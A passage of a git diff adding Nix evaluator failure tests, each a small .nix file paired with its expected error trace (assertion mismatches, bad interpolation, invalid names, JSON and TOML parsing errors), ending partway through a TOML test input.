b/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp new file mode 100644 index 000000000..f78badd25 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ ding = false; } == { ding = null; })' + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:1: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'ding' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:10: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:31: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + error: a Boolean of value 'false' is not equal to null of value 'null' diff --git a/tests/functional/lang/eval-fail-assert-equal-type-nested.nix b/tests/functional/lang/eval-fail-assert-equal-type-nested.nix new file mode 100644 index 000000000..3fbd14ce6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type-nested.nix @@ -0,0 +1,2 @@ +assert { ding = false; } == { ding = null; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-type.err.exp b/tests/functional/lang/eval-fail-assert-equal-type.err.exp new file mode 100644 index 000000000..4dc3f2ece --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(false == null)' + at /pwd/lang/eval-fail-assert-equal-type.nix:1:1: + 1| assert false == null; + | ^ + 2| abort "unreachable" + + error: a Boolean of value 'false' is not equal to null of value 'null' diff --git a/tests/functional/lang/eval-fail-assert-equal-type.nix b/tests/functional/lang/eval-fail-assert-equal-type.nix new file mode 100644 index 000000000..7023ea007 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type.nix @@ -0,0 +1,2 @@ +assert false == null; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-nested-bool.err.exp b/tests/functional/lang/eval-fail-assert-nested-bool.err.exp new file mode 100644 index 000000000..1debb668c --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-nested-bool.err.exp @@ -0,0 +1,74 @@ +error: + … while evaluating the condition of the assertion '({ a = { b = [ ({ c = { d = true; }; }) ]; }; } == { a = { b = [ ({ c = { d = false; }; }) ]; }; })' + at /pwd/lang/eval-fail-assert-nested-bool.nix:1:1: + 1| assert + | ^ + 2| { a.b = [ { c.d = true; } ]; } + + … while comparing attribute 'a' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:5: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:5: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing attribute 'b' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:5: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:5: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing list element 0 + + … while comparing attribute 'c' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:15: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:15: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing attribute 'd' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:15: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:15: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + error: boolean 'true' is not equal to boolean 'false' diff --git a/tests/functional/lang/eval-fail-assert-nested-bool.nix b/tests/functional/lang/eval-fail-assert-nested-bool.nix new file mode 100644 index 000000000..228576983 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-nested-bool.nix @@ -0,0 +1,6 @@ +assert + { a.b = [ { c.d = true; } ]; } + == + { a.b = [ { c.d = false; } ]; }; + +abort "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert.err.exp b/tests/functional/lang/eval-fail-assert.err.exp new file mode 100644 index 000000000..7be9e2387 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert.err.exp @@ -0,0 +1,30 @@ +error: + … while evaluating the attribute 'body' + at /pwd/lang/eval-fail-assert.nix:4:3: + 3| + 4| body = x "x"; + | ^ + 5| } + + … from call site + at /pwd/lang/eval-fail-assert.nix:4:10: + 3| + 4| body = x "x"; + | ^ + 5| } + + … while calling 'x' + at /pwd/lang/eval-fail-assert.nix:2:7: + 1| let { + 2| x = arg: assert arg == "y"; 123; + | ^ + 3| + + … while evaluating the condition of the assertion '(arg == "y")' + at /pwd/lang/eval-fail-assert.nix:2:12: + 1| let { + 2| x = arg: assert arg == "y"; 123; + | ^ + 3| + + error: string '"x"' is not equal to string '"y"' diff --git a/tests/lang/eval-fail-assert.nix b/tests/functional/lang/eval-fail-assert.nix similarity index 100% rename from tests/lang/eval-fail-assert.nix rename to tests/functional/lang/eval-fail-assert.nix diff --git a/tests/functional/lang/eval-fail-attr-name-type.err.exp b/tests/functional/lang/eval-fail-attr-name-type.err.exp new file mode 100644 index 000000000..6848a35ed --- /dev/null +++ b/tests/functional/lang/eval-fail-attr-name-type.err.exp @@ -0,0 +1,21 @@ +error: + … while evaluating the attribute 'puppy."${key}"' + at /pwd/lang/eval-fail-attr-name-type.nix:3:5: + 2| attrs = { + 3| puppy.doggy = {}; + | ^ + 4| }; + + … while evaluating an attribute name + at /pwd/lang/eval-fail-attr-name-type.nix:7:17: + 6| in + 7| attrs.puppy.${key} + | ^ + 8| + + error: expected a string but found an integer: 1 + at /pwd/lang/eval-fail-attr-name-type.nix:7:17: + 6| in + 7| attrs.puppy.${key} + | ^ + 8| diff --git a/tests/functional/lang/eval-fail-attr-name-type.nix b/tests/functional/lang/eval-fail-attr-name-type.nix new file mode 100644 index 000000000..a0e76004a --- /dev/null +++ b/tests/functional/lang/eval-fail-attr-name-type.nix @@ -0,0 +1,7 @@ +let + attrs = { + puppy.doggy = {}; + }; + key = 1; +in + attrs.puppy.${key} diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-1.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-1.err.exp new file mode 100644 index 000000000..5ae53034d --- /dev/null +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-1.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating a path segment + at /pwd/lang/eval-fail-bad-string-interpolation-1.nix:1:2: + 1| "${x: x}" + | ^ + 2| + + error: cannot coerce a function to a string: «lambda @ /pwd/lang/eval-fail-bad-string-interpolation-1.nix:1:4» diff --git a/tests/lang/eval-fail-bad-antiquote-1.nix b/tests/functional/lang/eval-fail-bad-string-interpolation-1.nix similarity index 100% rename from tests/lang/eval-fail-bad-antiquote-1.nix rename to tests/functional/lang/eval-fail-bad-string-interpolation-1.nix diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-2.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-2.err.exp new file mode 100644 index 000000000..a287067cd --- /dev/null +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-2.err.exp @@ -0,0 +1 @@ +error: path '/pwd/lang/fnord' does not exist diff --git a/tests/lang/eval-fail-bad-antiquote-2.nix b/tests/functional/lang/eval-fail-bad-string-interpolation-2.nix similarity index 100% rename from tests/lang/eval-fail-bad-antiquote-2.nix rename to tests/functional/lang/eval-fail-bad-string-interpolation-2.nix diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-3.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-3.err.exp new file mode 100644 index 000000000..170a3d132 --- /dev/null +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-3.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating a path segment + at /pwd/lang/eval-fail-bad-string-interpolation-3.nix:1:3: + 1| ''${x: x}'' + | ^ + 2| + + error: cannot coerce a function to a string: «lambda @ /pwd/lang/eval-fail-bad-string-interpolation-3.nix:1:5» diff --git a/tests/lang/eval-fail-bad-antiquote-3.nix b/tests/functional/lang/eval-fail-bad-string-interpolation-3.nix similarity index 100% rename from tests/lang/eval-fail-bad-antiquote-3.nix rename to tests/functional/lang/eval-fail-bad-string-interpolation-3.nix diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp new file mode 100644 index 000000000..b262e814d --- /dev/null +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp @@ -0,0 +1,9 @@ +error: + … while evaluating a path segment + at /pwd/lang/eval-fail-bad-string-interpolation-4.nix:9:3: + 8| # The error message should not be too long. + 9| ''${pkgs}'' + | ^ + 10| + + error: cannot coerce a set to a string: { a = { a = { a = { a = "ha"; b = "ha"; c = "ha"; d = "ha"; e = "ha"; f = "ha"; g = "ha"; h = "ha"; j = "ha"; }; «8 attributes elided» }; «8 attributes elided» }; «8 attributes elided» } diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-4.nix b/tests/functional/lang/eval-fail-bad-string-interpolation-4.nix new file mode 100644 index 000000000..457b5f06a --- /dev/null +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-4.nix @@ -0,0 +1,9 @@ +let + # Basically a "billion laughs" attack, but toned down to simulated `pkgs`. + ha = x: y: { a = x y; b = x y; c = x y; d = x y; e = x y; f = x y; g = x y; h = x y; j = x y; }; + has = ha (ha (ha (ha (x: x)))) "ha"; + # A large structure that has already been evaluated. + pkgs = builtins.deepSeq has has; +in +# The error message should not be too long. +''${pkgs}'' diff --git a/tests/functional/lang/eval-fail-blackhole.err.exp b/tests/functional/lang/eval-fail-blackhole.err.exp new file mode 100644 index 000000000..95e33a5fe --- /dev/null +++ b/tests/functional/lang/eval-fail-blackhole.err.exp @@ -0,0 +1,14 @@ +error: + … while evaluating the attribute 'body' + at /pwd/lang/eval-fail-blackhole.nix:2:3: + 1| let { + 2| body = x; + | ^ + 3| x = y; + + error: infinite recursion encountered + at /pwd/lang/eval-fail-blackhole.nix:3:7: + 2| body = x; + 3| x = y; + | ^ + 4| y = x; diff --git a/tests/lang/eval-fail-blackhole.nix b/tests/functional/lang/eval-fail-blackhole.nix similarity index 100% rename from tests/lang/eval-fail-blackhole.nix rename to tests/functional/lang/eval-fail-blackhole.nix diff --git a/tests/functional/lang/eval-fail-call-primop.err.exp b/tests/functional/lang/eval-fail-call-primop.err.exp new file mode 100644 index 000000000..0c6f614e8 --- /dev/null +++ b/tests/functional/lang/eval-fail-call-primop.err.exp @@ -0,0 +1,10 @@ +error: + … while calling the 'length' builtin + at /pwd/lang/eval-fail-call-primop.nix:1:1: + 1| builtins.length 1 + | ^ + 2| + + … while evaluating the first argument passed to builtins.length + + error: expected a list but found an integer: 1 diff --git a/tests/functional/lang/eval-fail-call-primop.nix b/tests/functional/lang/eval-fail-call-primop.nix new file mode 100644 index 000000000..972eb72c7 --- /dev/null +++ b/tests/functional/lang/eval-fail-call-primop.nix @@ -0,0 +1 @@ +builtins.length 1 diff --git a/tests/functional/lang/eval-fail-deepseq.err.exp b/tests/functional/lang/eval-fail-deepseq.err.exp new file mode 100644 index 000000000..11b62340d --- /dev/null +++ b/tests/functional/lang/eval-fail-deepseq.err.exp @@ -0,0 +1,20 @@ +error: + … while calling the 'deepSeq' builtin + at /pwd/lang/eval-fail-deepseq.nix:1:1: + 1| builtins.deepSeq { x = abort "foo"; } 456 + | ^ + 2| + + … while evaluating the attribute 'x' + at /pwd/lang/eval-fail-deepseq.nix:1:20: + 1| builtins.deepSeq { x = abort "foo"; } 456 + | ^ + 2| + + … while calling the 'abort' builtin + at /pwd/lang/eval-fail-deepseq.nix:1:24: + 1| builtins.deepSeq { x = abort "foo"; } 456 + | ^ + 2| + + error: evaluation aborted with the following error message: 'foo' diff --git a/tests/lang/eval-fail-deepseq.nix b/tests/functional/lang/eval-fail-deepseq.nix similarity index 100% rename from tests/lang/eval-fail-deepseq.nix rename to tests/functional/lang/eval-fail-deepseq.nix diff --git a/tests/functional/lang/eval-fail-derivation-name.err.exp b/tests/functional/lang/eval-fail-derivation-name.err.exp new file mode 100644 index 000000000..0ef98674d --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the attribute 'outPath' + at ::: + | value = commonAttrs // { + | outPath = builtins.getAttr outputName strict; + | ^ + | drvPath = strict.drvPath; + + … while calling the 'getAttr' builtin + at ::: + | value = commonAttrs // { + | outPath = builtins.getAttr outputName strict; + | ^ + | drvPath = strict.drvPath; + + … while calling the 'derivationStrict' builtin + at ::: + | + | strict = derivationStrict drvAttrs; + | ^ + | + + … while evaluating derivation '~jiggle~' + whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:: + + error: invalid derivation name: name '~jiggle~' contains illegal character '~'. Please pass a different 'name'. diff --git a/tests/functional/lang/eval-fail-derivation-name.nix b/tests/functional/lang/eval-fail-derivation-name.nix new file mode 100644 index 000000000..e779ad6ff --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.nix @@ -0,0 +1,5 @@ +derivation { + name = "~jiggle~"; + system = "some-system"; + builder = "/dontcare"; +} diff --git a/tests/functional/lang/eval-fail-derivation-name.postprocess b/tests/functional/lang/eval-fail-derivation-name.postprocess new file mode 100644 index 000000000..ffbc2b5d4 --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.postprocess @@ -0,0 +1,9 @@ +# shellcheck shell=bash +set -euo pipefail +testcaseBasename=$1 + +# Line numbers change when derivation.nix docs are updated. +sed -i "$testcaseBasename.err" \ + -e 's/[0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9]\([^0-9]\)/\1/g' \ + -e 's/[0-9][0-9]*//g' \ + ; diff --git a/tests/functional/lang/eval-fail-dup-dynamic-attrs.err.exp b/tests/functional/lang/eval-fail-dup-dynamic-attrs.err.exp new file mode 100644 index 000000000..834f9c67b --- /dev/null +++ b/tests/functional/lang/eval-fail-dup-dynamic-attrs.err.exp @@ -0,0 +1,14 @@ +error: + … while evaluating the attribute 'set' + at /pwd/lang/eval-fail-dup-dynamic-attrs.nix:2:3: + 1| { + 2| set = { "${"" + "b"}" = 1; }; + | ^ + 3| set = { "${"b" + ""}" = 2; }; + + error: dynamic attribute 'b' already defined at /pwd/lang/eval-fail-dup-dynamic-attrs.nix:2:11 + at /pwd/lang/eval-fail-dup-dynamic-attrs.nix:3:11: + 2| set = { "${"" + "b"}" = 1; }; + 3| set = { "${"b" + ""}" = 2; }; + | ^ + 4| } diff --git a/tests/functional/lang/eval-fail-dup-dynamic-attrs.nix b/tests/functional/lang/eval-fail-dup-dynamic-attrs.nix new file mode 100644 index 000000000..7ea17f6c8 --- /dev/null +++ b/tests/functional/lang/eval-fail-dup-dynamic-attrs.nix @@ -0,0 +1,4 @@ +{ + set = { "${"" + "b"}" = 1; }; + set = { "${"b" + ""}" = 2; }; +} diff --git a/tests/functional/lang/eval-fail-duplicate-traces.err.exp b/tests/functional/lang/eval-fail-duplicate-traces.err.exp new file mode 100644 index 000000000..cedaebd3b --- /dev/null +++ b/tests/functional/lang/eval-fail-duplicate-traces.err.exp @@ -0,0 +1,51 @@ +error: + … from call site + at /pwd/lang/eval-fail-duplicate-traces.nix:9:3: + 8| in + 9| throwAfter 2 + | ^ + 10| + + … while calling 'throwAfter' + at /pwd/lang/eval-fail-duplicate-traces.nix:4:16: + 3| let + 4| throwAfter = n: + | ^ + 5| if n > 0 + + … from call site + at /pwd/lang/eval-fail-duplicate-traces.nix:6:10: + 5| if n > 0 + 6| then throwAfter (n - 1) + | ^ + 7| else throw "Uh oh!"; + + … while calling 'throwAfter' + at /pwd/lang/eval-fail-duplicate-traces.nix:4:16: + 3| let + 4| throwAfter = n: + | ^ + 5| if n > 0 + + … from call site + at /pwd/lang/eval-fail-duplicate-traces.nix:6:10: + 5| if n > 0 + 6| then throwAfter (n - 1) + | ^ + 7| else throw "Uh oh!"; + + … while calling 'throwAfter' + at /pwd/lang/eval-fail-duplicate-traces.nix:4:16: + 3| let + 4| throwAfter = n: + | ^ + 5| if n > 0 + + … while calling the 'throw' builtin + at /pwd/lang/eval-fail-duplicate-traces.nix:7:10: + 6| then throwAfter (n - 1) + 7| else throw "Uh oh!"; + | ^ + 8| in + + error: Uh oh! diff --git a/tests/functional/lang/eval-fail-duplicate-traces.nix b/tests/functional/lang/eval-fail-duplicate-traces.nix new file mode 100644 index 000000000..17ce374ec --- /dev/null +++ b/tests/functional/lang/eval-fail-duplicate-traces.nix @@ -0,0 +1,9 @@ +# Check that we only omit duplicate stack traces when there's a bunch of them. +# Here, there's only a couple duplicate entries, so we output them all. +let + throwAfter = n: + if n > 0 + then throwAfter (n - 1) + else throw "Uh oh!"; +in + throwAfter 2 diff --git a/tests/functional/lang/eval-fail-eol-1.err.exp b/tests/functional/lang/eval-fail-eol-1.err.exp new file mode 100644 index 000000000..3f5a5c22c --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-1.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-1.nix b/tests/functional/lang/eval-fail-eol-1.nix new file mode 100644 index 000000000..476223919 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-2.err.exp b/tests/functional/lang/eval-fail-eol-2.err.exp new file mode 100644 index 000000000..ff13e2d55 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-2.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-2.nix b/tests/functional/lang/eval-fail-eol-2.nix new file mode 100644 index 000000000..0cf92a425 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.nix @@ -0,0 +1,2 @@ +# foo invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-3.err.exp b/tests/functional/lang/eval-fail-eol-3.err.exp new file mode 100644 index 000000000..ada3c5ecd --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-3.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-3.nix b/tests/functional/lang/eval-fail-eol-3.nix new file mode 100644 index 000000000..33422452d --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar diff --git a/tests/functional/lang/eval-fail-fetchTree-negative.err.exp b/tests/functional/lang/eval-fail-fetchTree-negative.err.exp new file mode 100644 index 000000000..d9ba1f0b2 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchTree-negative.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchTree' builtin + at /pwd/lang/eval-fail-fetchTree-negative.nix:1:1: + 1| builtins.fetchTree { + | ^ + 2| type = "file"; + + error: negative value given for fetchTree attr owner: -1 diff --git a/tests/functional/lang/eval-fail-fetchTree-negative.nix b/tests/functional/lang/eval-fail-fetchTree-negative.nix new file mode 100644 index 000000000..90bcab5d8 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchTree-negative.nix @@ -0,0 +1,5 @@ +builtins.fetchTree { + type = "file"; + url = "file://eval-fail-fetchTree-negative.nix"; + owner = -1; +} diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp new file mode 100644 index 000000000..30f8b6a35 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName-attrs-name.nix:1:1: + 1| builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; } + | ^ + 2| + + error: invalid store path name when fetching URL 'https://example.com/foo.tar.gz': name '~wobble~' contains illegal character '~'. Please change the value for the 'name' attribute passed to 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix new file mode 100644 index 000000000..583805539 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix @@ -0,0 +1 @@ +builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; } diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp new file mode 100644 index 000000000..cef532e94 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName-attrs.nix:1:1: + 1| builtins.fetchurl { url = "https://example.com/~wiggle~"; } + | ^ + 2| + + error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please add a valid 'name' attribute to the argument for 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix new file mode 100644 index 000000000..068120edb --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix @@ -0,0 +1 @@ +builtins.fetchurl { url = "https://example.com/~wiggle~"; } diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp new file mode 100644 index 000000000..0950e8e70 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName.nix:1:1: + 1| builtins.fetchurl "https://example.com/~wiggle~" + | ^ + 2| + + error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please pass an attribute set with 'url' and 'name' attributes to 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.nix b/tests/functional/lang/eval-fail-fetchurl-baseName.nix new file mode 100644 index 000000000..965093843 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName.nix @@ -0,0 +1 @@ +builtins.fetchurl "https://example.com/~wiggle~" diff --git a/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.err.exp b/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.err.exp new file mode 100644 index 000000000..25c8d7eaa --- /dev/null +++ b/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.err.exp @@ -0,0 +1,14 @@ +error: + … while calling the 'seq' builtin + at /pwd/lang/eval-fail-flake-ref-to-string-negative-integer.nix:1:16: + 1| let n = -1; in builtins.seq n (builtins.flakeRefToString { + | ^ + 2| type = "github"; + + … while calling the 'flakeRefToString' builtin + at /pwd/lang/eval-fail-flake-ref-to-string-negative-integer.nix:1:32: + 1| let n = -1; in builtins.seq n (builtins.flakeRefToString { + | ^ + 2| type = "github"; + + error: negative value given for flake ref attr repo: -1 diff --git a/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.nix b/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.nix new file mode 100644 index 000000000..e0208eb25 --- /dev/null +++ b/tests/functional/lang/eval-fail-flake-ref-to-string-negative-integer.nix @@ -0,0 +1,7 @@ +let n = -1; in builtins.seq n (builtins.flakeRefToString { + type = "github"; + owner = "NixOS"; + repo = n; + ref = "23.05"; + dir = "lib"; +}) diff --git a/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.err.exp b/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.err.exp new file mode 100644 index 000000000..4903bc82d --- /dev/null +++ b/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.err.exp @@ -0,0 +1,37 @@ +error: + … while calling the 'foldl'' builtin + at /pwd/lang/eval-fail-foldlStrict-strict-op-application.nix:2:1: + 1| # Tests that the result of applying op is forced even if the value is never used + 2| builtins.foldl' + | ^ + 3| (_: f: f null) + + … while calling anonymous lambda + at /pwd/lang/eval-fail-foldlStrict-strict-op-application.nix:3:7: + 2| builtins.foldl' + 3| (_: f: f null) + | ^ + 4| null + + … from call site + at /pwd/lang/eval-fail-foldlStrict-strict-op-application.nix:3:10: + 2| builtins.foldl' + 3| (_: f: f null) + | ^ + 4| null + + … while calling anonymous lambda + at /pwd/lang/eval-fail-foldlStrict-strict-op-application.nix:5:6: + 4| null + 5| [ (_: throw "Not the final value, but is still forced!") (_: 23) ] + | ^ + 6| + + … while calling the 'throw' builtin + at /pwd/lang/eval-fail-foldlStrict-strict-op-application.nix:5:9: + 4| null + 5| [ (_: throw "Not the final value, but is still forced!") (_: 23) ] + | ^ + 6| + + error: Not the final value, but is still forced! diff --git a/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.nix b/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.nix new file mode 100644 index 000000000..1620cc76e --- /dev/null +++ b/tests/functional/lang/eval-fail-foldlStrict-strict-op-application.nix @@ -0,0 +1,5 @@ +# Tests that the result of applying op is forced even if the value is never used +builtins.foldl' + (_: f: f null) + null + [ (_: throw "Not the final value, but is still forced!") (_: 23) ] diff --git a/tests/functional/lang/eval-fail-fromJSON-overflowing.err.exp b/tests/functional/lang/eval-fail-fromJSON-overflowing.err.exp new file mode 100644 index 000000000..a39082b45 --- /dev/null +++ b/tests/functional/lang/eval-fail-fromJSON-overflowing.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fromJSON' builtin + at /pwd/lang/eval-fail-fromJSON-overflowing.nix:1:1: + 1| builtins.fromJSON ''{"attr": 18446744073709551615}'' + | ^ + 2| + + error: unsigned json number 18446744073709551615 outside of Nix integer range diff --git a/tests/functional/lang/eval-fail-fromJSON-overflowing.nix b/tests/functional/lang/eval-fail-fromJSON-overflowing.nix new file mode 100644 index 000000000..6dfbce3f6 --- /dev/null +++ b/tests/functional/lang/eval-fail-fromJSON-overflowing.nix @@ -0,0 +1 @@ +builtins.fromJSON ''{"attr": 18446744073709551615}'' diff --git a/tests/functional/lang/eval-fail-fromTOML-timestamps.err.exp b/tests/functional/lang/eval-fail-fromTOML-timestamps.err.exp new file mode 100644 index 000000000..9bbb251e1 --- /dev/null +++ b/tests/functional/lang/eval-fail-fromTOML-timestamps.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fromTOML' builtin + at /pwd/lang/eval-fail-fromTOML-timestamps.nix:1:1: + 1| builtins.fromTOML '' + | ^ + 2| key = "value" + + error: while parsing TOML: Dates and times are not supported diff --git a/tests/functional/lang/eval-fail-fromTOML-timestamps.nix b/tests/functional/lang/eval-fail-fromTOML-timestamps.nix new file mode 100644 index 000000000..74cff9470 --- /dev/null +++ b/tests/functional/lang/eval-fail-fromTOML-timestamps.nix @@ -0,0 +1,130 @@ +builtins.fromTOML '' + key = "value" + bare_key = "value" + bare-key = "value" + 1234 = "value" + + "127.0.0.1" = "value" + "character encoding" = "value" + "ʎǝʞ" = "value" + 'key2' = "value" + 'quoted "value"' = "value" + + name = "Orange" + + physical.color = "orange" + physical.shape = "round" + site."google.com" = true + + # This is legal according to the spec, but cpptoml doesn't handle it. + #a.b.c = 1 + #a.d = 2 + + str = "I'm a string. \"You can quote me\". Name\tJos\u00E9\nLocation\tSF." + + int1 = +99 + int2 = 42 + int3 = 0 + int4 = -17 + int5 = 1_000 + int6 = 5_349_221 + int7 = 1_2_3_4_5 + + hex1 = 0xDEADBEEF + hex2 = 0xdeadbeef + hex3 = 0xdead_beef + + oct1 = 0o01234567 + oct2 = 0o755 + + bin1 = 0b11010110 + + flt1 = +1.0 + flt2 = 3.1415 + flt3 = -0.01 + flt4 = 5e+22 + flt5 = 1e6 + flt6 = -2E-2 + flt7 = 6.626e-34 + flt8 = 9_224_617.445_991_228_313 + + bool1 = true + bool2 = false + + odt1 = 1979-05-27T07:32:00Z + odt2 = 1979-05-27T00:32:00-07:00 + odt3 = 1979-05-27T00:32:00.999999-07:00 + odt4 = 1979-05-27 07:32:00Z + ldt1 = 1979-05-27T07:32:00 + ldt2 = 1979-05-27T00:32:00.999999 + ld1 = 1979-05-27 + lt1 = 07:32:00 + lt2 = 00:32:00.999999 + + arr1 = [ 1, 2, 3 ] + arr2 = [ "red", "yellow", "green" ] + arr3 = [ [ 1, 2 ], [3, 4, 5] ] + arr4 = [ "all", 'strings', """are the same""", ''''type''''] + arr5 = [ [ 1, 2 ], ["a", "b", "c"] ] + + arr7 = [ + 1, 2, 3 + ] + + arr8 = [ + 1, + 2, # this is ok + ] + + [table-1] + key1 = "some string" + key2 = 123 + + + [table-2] + key1 = "another string" + key2 = 456 + + [dog."tater.man"] + type.name = "pug" + + [a.b.c] + [ d.e.f ] + [ g . h . i ] + [ j . "ʞ" . 'l' ] + [x.y.z.w] + + name = { first = "Tom", last = "Preston-Werner" 